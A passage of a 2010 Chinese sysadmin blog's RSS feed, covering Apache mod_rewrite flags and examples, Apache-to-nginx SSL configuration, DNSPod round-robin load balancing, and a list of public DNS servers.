<strong>L</strong>(last rule) 表明当前规则是最后一条规则，停止分析以后规则的重写。<br />
<strong>N</strong>(next round) 重新从第一条规则开始运行重写过程。<br />
<strong>C</strong>(chained with next rule) 与下一条规则关联<br />
如果规则匹配则正常处理，该标志无效，如果不匹配，那么下面所有关联的规则都跳过。<br />
<strong>T</strong>=MIME-type(force MIME type) 强制MIME类型<br />
<strong>NS</strong> (used only if no internal sub-request) 只用于不是内部子请求<br />
<strong>NC</strong>(no case) 不区分大小写<br />
<strong>QSA</strong>(query string append) 追加请求字符串<br />
<strong>NE</strong>(no URI escaping of output) 不在输出转义特殊字符<br />
例如：RewriteRule /foo/(.*) /bar?arg=P1\%3d$1 [R,NE] 将能正确的将/foo/zoo转换成/bar?arg=P1=zed<br />
<strong>PT</strong>(pass through to next handler) 传递给下一个处理<br />
例如：<br />
RewriteRule ^/abc(.*) /def$1 [PT] # 将会交给/def规则处理<br />
Alias /def /ghi<br />
<strong>S</strong>=num(skip next rule(s)) 跳过num条规则<br />
<strong>E</strong>=VAR:VAL(set environment variable) 设置环境变量</p>
<p><strong>rewrite时服务器变量：<br />
</strong>HTTP headers:HTTP_USER_AGENT, HTTP_REFERER, HTTP_COOKIE, HTTP_HOST, HTTP_ACCEPT<br />
connection &amp; request: REMOTE_ADDR, QUERY_STRING<br />
server internals: DOCUMENT_ROOT, SERVER_PORT, SERVER_PROTOCOL<br />
system stuff: TIME_YEAR, TIME_MON, TIME_DAY</p>
<p><strong>Rewrite规则表达式的说明：</strong><br />
. 匹配任何单字符<br />
[chars] 匹配字符串:chars<br />
[^chars] 不匹配字符串:chars<br />
text1|text2 可选择的字符串:text1或text2<br />
? 匹配0到1个字符<br />
* 匹配0到多个字符<br />
+ 匹配1到多个字符<br />
^ 字符串开始标志<br />
$ 字符串结束标志<br />
\n 转义符标志</p>
<p>反向引用 $N 用于 RewriteRule 中匹配的变量调用(0 &lt;= N &lt;= 9)<br />
反向引用 %N 用于 RewriteCond 中最后一个匹配的变量调用(1 &lt;= N &lt;= 9)</p>
<p><strong>RewriteCond标志符<br />
</strong>&#8216;nocase|NC&#8217;(no case)忽略大小<br />
&#8216;ornext|OR&#8217; (or next condition)逻辑或，可以同时匹配多个RewriteCond条件</p>
<p><strong>RewriteRule适用的标志符</strong><br />
&#8216;redirect|R [=code]&#8216; (force redirect)强迫重写为基于http开头的外部转向(注意URL的变化) 如：[R=301,L]<br />
&#8216;forbidden|F&#8217; (force URL to be forbidden)重写为禁止访问<br />
&#8216;proxy|P&#8217; (force proxy)重写为通过代理访问的http路径<br />
&#8216;last|L&#8217; (last rule)最后的重写规则标志，如果匹配，不再执行以后的规则<br />
&#8216;next|N&#8217; (next round)循环同一个规则，直到不能满足匹配<br />
&#8216;chain|C&#8217; (chained with next rule)如果匹配该规则，则继续下面的有Chain标志的规则。<br />
&#8216;type|T=MIME-type&#8217; (force MIME type)指定MIME类型<br />
&#8216;nosubreq|NS&#8217; (used only if no internal sub-request)如果是内部子请求则跳过<br />
&#8216;nocase|NC&#8217; (no case)忽略大小<br />
&#8216;qsappend|QSA&#8217; (query string append)附加查询字符串<br />
&#8216;noescape|NE&#8217; (no URI escaping of output)禁止URL中的字符自动转义成%[0-9]+的形式。<br />
&#8216;passthrough|PT&#8217; (pass through to next handler)将重写结果运用于mod_alias<br />
&#8216;skip|S=num&#8217; (skip next rule(s))跳过下面几个规则<br />
&#8216;env|E=VAR:VAL&#8217; (set environment variable)添加环境变量</p>
<p><strong>实际操作</strong></p>
<p>例子：<br />
RewriteEngine on<br />
RewriteCond %{HTTP_USER_AGENT} ^MSIE [NC,OR]<br />
RewriteCond %{HTTP_USER_AGENT} ^Opera [NC]<br />
RewriteRule ^.* &#8211; [F,L] 这里”-”表示没有替换，浏览器为IE和Opera的访客将被禁止访问。</p>
<p>例子：<br />
RewriteEngine On<br />
RewriteBase /test<br />
RewriteCond %{REQUEST_FILENAME}.php -f<br />
RewriteRule ([^/]+)$ /test/$1.php<br />
#for example: /test/admin =&gt; /test/admin.php<br />
RewriteRule ([^/]+)\.html$ /test/$1.php [L]<br />
#for example: /test/admin.html =&gt; /test/admin.php</p>
<p>限制目录只能显示图片<br />
&lt; IfModule mod_rewrite.c&gt;<br />
RewriteEngine on<br />
RewriteCond %{REQUEST_FILENAME} !^.*\.(gif|jpg|jpeg|png|swf)$<br />
RewriteRule .*$ &#8211; [F,L]<br />
&lt; /IfModule&gt;</p>
<p>Apache模块 mod_rewrite 全面中文解释文档：http://www.uplinux.com/download/doc/apache/ApacheManual/mod/mod_rewrite.html</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/10/13/5537/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/10/13/5537/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/10/13/5537/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/10/13/5537/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/10/13/5537/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/10/13/5537/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>apache转nginx之SSL配置</title>
		<link>http://www.iwanna.cn/archives/2010/10/03/5469/</link>
		<comments>http://www.iwanna.cn/archives/2010/10/03/5469/#comments</comments>
		<pubDate>Sun, 03 Oct 2010 05:52:07 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Apache]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5469</guid>
		<description><![CDATA[APACHE的SSL配置实例 &#60;IfModule mod_ssl.c&#62; &#60;VirtualHost 85.85.171.15:443&#62; SSLEngine on SSLOptions +StrictRequire SSLCertificateKeyFile /etc/apache2/ssl/server.key SSLCertificateFile /etc/apache2/ssl/80yun.com.crt #SSLCACertificateFile /etc/apache2/ssl/sf_bundle.crt #SSLCertificateFile /etc/apache2/ssl/server.crt #SSLCertificateKeyFile /etc/apache2/ssl/server.key ServerName www.80yun.com #ServerName www.80yun.co.uk DocumentRoot /home/www/80yun/ &#60;/VirtualHost&#62; &#60;/IfModule&#62; &#60;VirtualHost 85.35.73.151:443&#62; #        ServerName 80yun.co.uk ServerName 80yun.com redirectmatch 301 ^(.*) https://www.80yun.com$1 DocumentRoot /home/www/80yun/ &#60;/VirtualHost&#62; nginx 的配置实例 server { listen 443; ssl on; ssl_certificate /etc/nginx/ssl/80yun/80yun.com.crt; ssl_certificate_key /etc/nginx/ssl/80yun/server.key; server_name 80yun.co.uk [...]]]></description>
			<content:encoded><![CDATA[<p><strong>APACHE的SSL配置实例</strong></p>
<p>&lt;IfModule mod_ssl.c&gt;<br />
&lt;VirtualHost 85.85.171.15:443&gt;<br />
SSLEngine on<br />
SSLOptions +StrictRequire</p>
<p>SSLCertificateKeyFile  /etc/<a href="http://www.iwanna.cn/tags/apache/" class="st_tag internal_tag" rel="tag" title="标签 Apache 下的日志">apache</a>2/ssl/<a href="http://www.iwanna.cn/tags/server/" class="st_tag internal_tag" rel="tag" title="标签 Server 下的日志">server</a>.key<br />
SSLCertificateFile /etc/apache2/ssl/80yun.com.crt<br />
#SSLCACertificateFile /etc/apache2/ssl/sf_bundle.crt</p>
<p>#SSLCertificateFile  /etc/apache2/ssl/server.crt<br />
#SSLCertificateKeyFile /etc/apache2/ssl/server.key<br />
ServerName <a href="http://www.80yun.com/">www.80yun.com</a><br />
#ServerName <a href="http://www.80yun.co.uk/">www.80yun.co.uk</a><br />
DocumentRoot  /home/www/80yun/<br />
&lt;/VirtualHost&gt;<br />
&lt;/IfModule&gt;<br />
&lt;VirtualHost 85.35.73.151:443&gt;<br />
#        ServerName 80yun.co.uk<br />
ServerName 80yun.com<br />
redirectmatch 301 ^(.*) <a href="https://www.80yun.com$1/">https://www.80yun.com$1</a><br />
DocumentRoot  /home/www/80yun/<br />
&lt;/VirtualHost&gt;<br />
<span id="more-5469"></span><br />
<strong>nginx 的配置实例</strong><br />
server<br />
{<br />
listen 443;<br />
ssl on;</p>
<p>ssl_certificate /etc/nginx/ssl/80yun/80yun.com.crt;<br />
ssl_certificate_key /etc/nginx/ssl/80yun/server.key;</p>
<p>server_name  80yun.co.uk <a href="http://www.80yun.co.uk/">www.80yun.co.uk</a> 80yun.com <a href="http://www.80yun.com/">www.80yun.com</a>;<br />
if ($host = ’80yun.com’ ) {<br />
rewrite  ^(.*)  <a href="https://www.80yun.com$1/">https://www.80yun.com$1</a> permanent;<br />
#proxy_set_header Host “ttxingzuo.com”;<br />
}<br />
if ($host = ’80yun.co.uk’ ) {<br />
rewrite  ^(.*)  <a href="https://www.80yun.co.uk$1/">https://www.80yun.co.uk$1</a> permanent;<br />
#proxy_set_header Host “ttxingzuo.com”;<br />
}</p>
<p>index   index.php index.html;<br />
root  /home/www/80yun/;<br />
location ~ .*\.(php|php5)?$<br />
{<br />
fastcgi_pass  127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
include fastcgi_params;<br />
}<br />
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$<br />
{<br />
expires      30d;<br />
}<br />
location ~ .*\.(js|css)?$<br />
{<br />
expires      12h;<br />
}</p>
<p>}</p>
<p>debain系统下apache的SSL配置运行正常，centos系统 下nginx的SSL配置运行正常。</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/10/03/5469/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/10/03/5469/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/10/03/5469/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/10/03/5469/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/10/03/5469/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/10/03/5469/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>使用DNSPod来处理网站的均衡负载</title>
		<link>http://www.iwanna.cn/archives/2010/09/12/5204/</link>
		<comments>http://www.iwanna.cn/archives/2010/09/12/5204/#comments</comments>
		<pubDate>Sun, 12 Sep 2010 13:53:16 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[站长工具]]></category>
		<category><![CDATA[dns]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5204</guid>
		<description><![CDATA[首先介绍下DNSPod。DNSPod 是一款免费智能DNS产品。DNSPod 可以为同时有电信、网通、教育网服务器的网站提供智能的解析，让电信用户访问电信的服务器，网通的用户访问网通的服务器，达到互联互通的效果。能够让使用 双线路或拥有多镜像的网站站长轻松实现智能DNS解析，让用户仅用单域名即可访问到最快速的镜像。 如上图，我们可以给不同的线路（电信、网通、教育网）设置不同的IP（服务器），除此之外，DNSPod还支持，DNS轮询功能，可帮助网站进行均 衡负载。如下图： 接下来需要介绍下什么是DNS轮询。大多域名注册商都支持多条A记录的解析，其实这就是DNS轮询，DNS服务器将解析请求按照A记录的顺序，逐一 分配到不同的IP上，这样就完成了简单的负载均衡。 优点 基本上无成本，因为往往域名注册商的这种解析都是免费的； 部署方便，除了网络拓扑的简单扩增，新增的Web服务器只要增加一个公网IP即可。 缺点 健康检查，如果某台服务器宕机，DNS服务器是无法知晓的，仍旧会将访问分配到此服务器。修改DNS记录全部生效起码要3-4小时，甚至更久； 分配不均，如果几台Web服务器之间的配置不同，能够承受的压力也就不同，但是DNS解析分配的访问却是均匀分配的。其实DNS也是有分配算法 的，可以根据当前连接较少的分配、可以设置Rate权重分配等等，只是目前绝大多数的DNS服务器都不支持； 会话保持，如果是需要身份验证的网站，在不修改软件构架的情况下，这点是比较致命的，因为DNS解析无法将验证用户的访问持久分配到同一服务器。 虽然有一定的本地DNS缓存，但是很难保证在用户访问期间，本地DNS不过期，而重新查询服务器并指向新的服务器，那么原服务器保存的用户信息是无法被带 到新服务器的，而且可能要求被重新认证身份，来回切换时间长了各台服务器都保存有用户不同的信息，对服务器资源也是一种浪费。 DNS轮询原理：比如你添加了三条记录，分别是1，2，3 第一个用户请求，记录返回1，2，3 第二个用户请求，记录返回2，3，1 第三个用户请求，记录返回3，1，2 第四个用户请求，记录返回1，2，3 所有的记录都是均匀的返回给每一个请求的用户，但有时候用户可能一打开你的网站就马上退出（比如关掉了浏览器），有些用户可能会一直浏览你的网站。 因为DNS无法得知还有哪个用户还在访问你哪一台服务器，所以就会造成有些服务器访问的用户多，有些服务器访问的用户少（因为这台服务器访问时间短的用户 比较多）。最后就会出现访问用户不平均的情况。 DNSPod官方网址：https://www.dnspod.com/ © 我想网 Akon 所有 , 2010. &#124; 永久链接 &#124; 没有评论 &#124; 提交到 Google Reader 鲜果 抓虾 Feed enhanced by Better Feed from Ozh]]></description>
			<content:encoded><![CDATA[<p>首先介绍下DNSPod。DNSPod 是一款免费智能DNS产品。DNSPod  可以为同时有电信、网通、教育网服务器的网站提供智能的解析，让电信用户访问电信的服务器，网通的用户访问网通的服务器，达到互联互通的效果。能够让使用 双线路或拥有多镜像的网站站长轻松实现智能DNS解析，让用户仅用单域名即可访问到最快速的镜像。</p>
<p><a title="我想网" href="http://www.iwanna.cn/" target="_blank"><img title="dnspod" src="http://images.uheed.com/iwanna/2010/09/12/dnspod.png" alt="使用DNSPod来处理网站的均衡负载 | iwanna.cn 我想网" width="568" height="259" /></a><br />
<span id="more-5204"></span><br />
如上图，我们可以给不同的线路（电信、网通、教育网）设置不同的IP（服务器），除此之外，DNSPod还支持，DNS轮询功能，可帮助网站进行均 衡负载。如下图：</p>
<p><a title="我想网" href="http://www.iwanna.cn/" target="_blank"><img title="round-robin" src="http://images.uheed.com/iwanna/2010/09/12/round-robin.png" alt="使用DNSPod来处理网站的均衡负载 | iwanna.cn 我想网" width="510" height="259" /></a></p>
<p>接下来需要介绍下什么是DNS轮询。大多域名注册商都支持多条A记录的解析，其实这就是DNS轮询，DNS服务器将解析请求按照A记录的顺序，逐一 分配到不同的IP上，这样就完成了简单的负载均衡。</p>
<p><strong>优点</strong></p>
<ul>
<li>基本上无成本，因为往往域名注册商的这种解析都是免费的；</li>
<li>部署方便，除了网络拓扑的简单扩增，新增的Web服务器只要增加一个公网IP即可。</li>
</ul>
<p><strong>缺点</strong></p>
<ul>
<li>健康检查，如果某台服务器宕机，DNS服务器是无法知晓的，仍旧会将访问分配到此服务器。修改DNS记录全部生效起码要3-4小时，甚至更久；</li>
<li>分配不均，如果几台Web服务器之间的配置不同，能够承受的压力也就不同，但是DNS解析分配的访问却是均匀分配的。其实DNS也是有分配算法 的，可以根据当前连接较少的分配、可以设置Rate权重分配等等，只是目前绝大多数的DNS服务器都不支持；</li>
<li>会话保持，如果是需要身份验证的网站，在不修改软件构架的情况下，这点是比较致命的，因为DNS解析无法将验证用户的访问持久分配到同一服务器。 虽然有一定的本地DNS缓存，但是很难保证在用户访问期间，本地DNS不过期，而重新查询服务器并指向新的服务器，那么原服务器保存的用户信息是无法被带 到新服务器的，而且可能要求被重新认证身份，来回切换时间长了各台服务器都保存有用户不同的信息，对服务器资源也是一种浪费。</li>
</ul>
<p>DNS轮询原理：比如你添加了三条记录，分别是1，2，3</p>
<ul>
<li>第一个用户请求，记录返回1，2，3</li>
<li>第二个用户请求，记录返回2，3，1</li>
<li>第三个用户请求，记录返回3，1，2</li>
<li>第四个用户请求，记录返回1，2，3</li>
</ul>
<p>所有的记录都是均匀的返回给每一个请求的用户，但有时候用户可能一打开你的网站就马上退出（比如关掉了浏览器），有些用户可能会一直浏览你的网站。 因为DNS无法得知还有哪个用户还在访问你哪一台服务器，所以就会造成有些服务器访问的用户多，有些服务器访问的用户少（因为这台服务器访问时间短的用户 比较多）。最后就会出现访问用户不平均的情况。</p>
<p>DNSPod官方网址：<a href="https://www.dnspod.com/" target="_blank">https://www.dnspod.com/</a></p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/09/12/5204/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/09/12/5204/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/09/12/5204/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/09/12/5204/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/09/12/5204/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/09/12/5204/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>常用的几组公共DNS服务器</title>
		<link>http://www.iwanna.cn/archives/2010/08/24/5061/</link>
		<comments>http://www.iwanna.cn/archives/2010/08/24/5061/#comments</comments>
		<pubDate>Tue, 24 Aug 2010 14:53:53 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[dns]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=5061</guid>
		<description><![CDATA[常用的公共 DNS 服务器包括： Google Public DNS (8.8.8.8, 8.8.4.4)、 Norton DNS (198.153.192.1, 198.153.194.1)、 OpenDNS (208.67.222.222, 208.67.220.220)、 OpenDNS Family (208.67.222.123, 208.67.220.123)、 Comodo Secure DNS (156.154.70.22, 156.156.71.22)、 ScrubIt DNS (67.138.54.100, 207.225.209.66)、 DNS Advantage (156.154.70.1, 156.154.71.1)。 更换了DNS后, 记得在DOS下执行 ipconfig /flushdns 以清除DNS缓存. © 我想网 Akon 所有 , 2010. &#124; 永久链接 &#124; 没有评论 &#124; 提交到 Google Reader 鲜果 抓虾 Feed enhanced [...]]]></description>
			<content:encoded><![CDATA[<p>常用的公共 <a href="http://www.iwanna.cn/tags/dns/" class="st_tag internal_tag" rel="tag" title="标签 dns 下的日志">DNS</a> 服务器包括：</p>
<p><strong>Google Public DNS</strong> (8.8.8.8, 8.8.4.4)、<strong></p>
<p>Norton DNS</strong> (198.153.192.1, 198.153.194.1)、</p>
<p><strong>OpenDNS</strong> (208.67.222.222, 208.67.220.220)、<strong></p>
<p>OpenDNS Family</strong> (208.67.222.123, 208.67.220.123)、</p>
<p><strong>Comodo Secure DNS</strong> (156.154.70.22, 156.156.71.22)、</p>
<p><strong>ScrubIt DNS</strong> (67.138.54.100, 207.225.209.66)、<strong></p>
<p>DNS Advantage</strong> (156.154.70.1, 156.154.71.1)。</p>
<p>更换了DNS后, 记得在DOS下执行 ipconfig /flushdns 以清除DNS缓存.</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/08/24/5061/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/08/24/5061/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/08/24/5061/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/08/24/5061/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/08/24/5061/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/08/24/5061/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

